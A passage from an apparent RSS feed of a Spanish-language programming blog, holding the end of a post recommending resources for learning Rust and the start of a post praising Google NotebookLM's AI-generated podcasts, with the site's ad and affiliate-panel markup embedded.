exponer.&lt;/p&gt;&#xA;&lt;h3 id=&#34;educative&#34;&gt;Educative&lt;/h3&gt;&#xA;&lt;p&gt;Si leer un libro grueso no es tu estilo y prefieres una educación de primera, educative tiene &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.educative.io/courses/ultimate-guide-to-rust-programming?aff=xkQr&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the ultimate guide to rust programming&lt;/a&gt;&#xA; por menos del precio de una comida bien servida.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;He aquí, la biblia de Rust, este libro cubre todo lo que necesitas saber sobre Rust, lo leí, me tomó un tiempo comprender algunos de los conceptos presentados pero valió la pena. Si quieres comprender porque tanto escándalo con este lenguaje de programación deberías decidirte a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro sobre el lenguaje de programación Rust\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-rust-programming-language-book.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gUwyG2\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del lenguaje de programación Rust en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cuál es el mejor recurso para aprender Rust?\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;platzi&#34;&gt;Platzi&lt;/h3&gt;&#xA;&lt;p&gt;Platzi es de los pocos &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://platzi.com/r/eduardo-zepeda&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;cursos en español de Rust&lt;/a&gt;&#xA;, sin embargo te seré sincero, no tengo idea de que tan buenos sean porque esos no los he tomado.&lt;/p&gt;&#xA;&lt;h3 id=&#34;canales-de-youtube-para-aprender-rust&#34;&gt;Canales de youtube para aprender Rust&lt;/h3&gt;&#xA;&lt;p&gt;También encontré que los videos de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/@codetothemoon&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Code to the Moon (en inglés)&lt;/a&gt;&#xA;, son bastante sencillos de entender y el autor del canal explica muy bien los conceptos de Rust.&lt;/p&gt;&#xA;&lt;p&gt;El canal &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/@letsgetrusty&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Let&amp;rsquo;s get Rusty (en inglés)&lt;/a&gt;&#xA; también tiene algunos tutoriales que te ayudarán a entender mejor los conceptos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;rustlings&#34;&gt;Rustlings&lt;/h3&gt;&#xA;&lt;p&gt;Rustlings contiene una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/rust-lang/rustlings&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;serie de ejercicios para aprender y praticar Rust&lt;/a&gt;&#xA; a la par que se lee la biblia de Rusto.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1729807555/Rustling-success_vgyva3.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1729807555/Rustling-success_vgyva3.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;La recompensa que te ofrece Rustling al terminar todos los ejercicios, cangrejo en pixel art&#34; width=&#34;626&#34; height=&#34;618&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;La recompensa que te ofrece Rustling al terminar todos los ejercicios, cangrejo en pixel art&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;rust-no-es-tan-dificil-de-aprender&#34;&gt;Rust no es tan difícil de aprender&lt;/h2&gt;&#xA;&lt;p&gt;Rust no es exageradamente difícil, hay lenguajes más complicados o que requieren un completo cambio de paradigma para programar en ellos, como Haskell, por ejemplo.&lt;/p&gt;&#xA;&lt;h3 id=&#34;rust-es-elegante-pero-hay-otros-lenguajes-mas-simples&#34;&gt;Rust es elegante pero hay otros lenguajes más simples&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Ciertamente Rust es uno de los lenguajes más elegantes que hay, sin embargo a veces se prefiere la productividad y la comodidad a la belleza y la elegancia, incluso grandes &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/microsoft/typescript-go/discussions/411&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;empresas como Typescript prefirieron usar Go en lugar de Rust para su compilador&lt;/a&gt;&#xA;. Tienes que hacerte la misma pregunta independientemente del resultado, Rust puede ser el lenguaje que necesitas o tal vez no, cualquiera de las dos respuestas está perfectamente bien.&lt;/p&gt;&#xA;&lt;p&gt;Pero no negaré que aprender Rust es más complicado que aprender Go, o aprender Python, incluso me atrevo a decir que es más complicado aprenderlo que C, por otro lado es más fácil escribir mal código en C que en Rust.&lt;/p&gt;&#xA;&lt;p&gt;Hasta ahora, pareciera que estoy quejándome de las decisiones tomadas al diseñar este lenguaje, pero no, solo estoy exponiendo las partes con las que tuve un poco más de fricción, pero, tomando en cuenta lo amplio que es el lenguaje, podrás darte cuenta que realmente es una mínima parte.&lt;/p&gt;&#xA;&lt;p&gt;La mayor parte de la sintaxis de Rust es bastante sencilla, y algunas de las cosas con las que tienes que lidiar, te ahorran los dolores de cabeza de tener que depurar fugas de memoria o punteros nulos, lo cual es un intercambio interesante.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Empecé a aprender Rust, y todo lo que leí en redes sobre su curva de aprendizaje es verdad. Rust es difícil, no imposible, solo difícil. Pero ahora &lt;strong&gt;también entiendo también porque la obsesión con este lenguaje de programación&lt;/strong&gt;. Tras haber terminado el libro de Rust tengo una visión general del lenguaje de programación que plasmaré en los siguientes párrafos.&lt;/p&gt;&#xA;&lt;p&gt;Si ya sabes que hace complicado a Rust tan difícil y lo que estás buscando es aprenderlo, pasa a la parte final de este post donde te recomiendo algunos recursos.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Google Notebooklm Transformará A Los Podcasts Para Siempre</title>
      <link>https://coffeebytes.dev/es/opinion/google-notebooklm-transformara-a-los-podcasts-para-siempre/</link>
      <pubDate>Wed, 02 Oct 2024 12:32:42 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/opinion/google-notebooklm-transformara-a-los-podcasts-para-siempre/</guid>
      
      <category>opinion</category>
      
      <category>artificial intelligence</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Acabo de probar Google Notebooklm, y esta sensación de novedad y emoción se apodera de mi mente; como cuando un niño recibe lo que pidió de navidad, con la diferencía de que yo no pedí que esta herramienta existiera, pero aquí está de cualquier forma.&lt;/p&gt;&#xA;&lt;h2 id=&#34;notebooklm-te-deja-crear-un-podcast-a-partir-de-tus-notas&#34;&gt;Notebooklm te deja crear un podcast a partir de tus notas&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;},{\&#34;description\&#34;:\&#34;Mi recomendación es este pequeño libro de cien páginas sobre Machine Learning, trata de las bases del Machine Learning y todas las matemáticas necesarias para entender cómo se entrenan los modelos de IA. No te dejes engañar por su tamaño, es denso y un poco complicado. ¿Y por qué tan corto? El libro es tan corto porque deja de lado todo el relleno y se queda sólo con las partes cruciales del Machine Learning. Una advertencia, contiene muchas ecuaciones y no tiene exactamente cien páginas, sino un poco más.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro de cien páginas sobre Machine Learning\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103780/hundred-page-machine-learning-book_ueonkh.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3D3oMvN\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de The Hundred-Page Machine Learning y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;En dónde aprender las bases de AI y Machine Learning\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Seguramente ya has escuchado hablar de esta herramienta, y si no, pues te explico a continuación.&lt;/p&gt;&#xA;&lt;p&gt;Google Notebooklm es una herramienta de AI que se vuelve un experto en tus notas y te ayuda, pero esto no es lo que me ha dejado boquiabierto, sino su herramienta que transforma tus notas en una conversación entre dos personas, &lt;del&gt;por ahora solo disponible en idioma inglés&lt;/del&gt; disponible ya en varios lenguajes, y te muestro ahora mismo el resultado.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/google-notebooklm-will-reshape-the-podcast-scenario-forever/images/podcast-meme-5-minutes.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/google-notebooklm-will-reshape-the-podcast-scenario-forever/images/podcast-meme-5-minutes.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Las personas suelen preferir el contenido audiovisual sobre el texto&#34; width=&#34;500&#34; height=&#34;500&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Las personas suelen preferir el contenido audiovisual sobre el texto&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Este podcast lo he generado usando mi entrada sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/git/no-uses-github-para-evaluar-a-los-desarrolladores/&#34;&gt;el problema de usar github para evaluar a los desarrolladores&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;figure &gt;&lt;/figure&gt;&#xA;    &lt;audio controls preload=&#34;metadata&#34;&gt;&#xA;      &lt;source src=&#34;https://res.cloudinary.com/dwrscezd2/video/upload/v1727844656/Podcast-Github-google-notebooklm_dsnzn8.mp3&#34; type=&#34;audio/mpeg&#34;&gt;&#xA;    &lt;/audio&gt;&#xA;    &lt;figcaption&gt;Podcast generado mediante google notebooklm&lt;/figcaption&gt;&#xA;  &lt;/figure&gt;&#xA;&lt;p&gt;Puedes crear el tuyo en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://notebooklm.google/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Google Nootebooklm&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Google ha hecho un trabajo excelente, por favor aprecia el tono, el audio limpio, incluso le ha añadido muletillas y una que otra pausa dudando para otorgarle un ligero toque de naturalidad y realismo. Nada mal para una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/chat-gpt-la-habitacion-china-de-searle-y-la-consciencia/&#34;&gt;caja negra hecha de código que aún no es consciente&lt;/a&gt;&#xA; ¿no crees?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 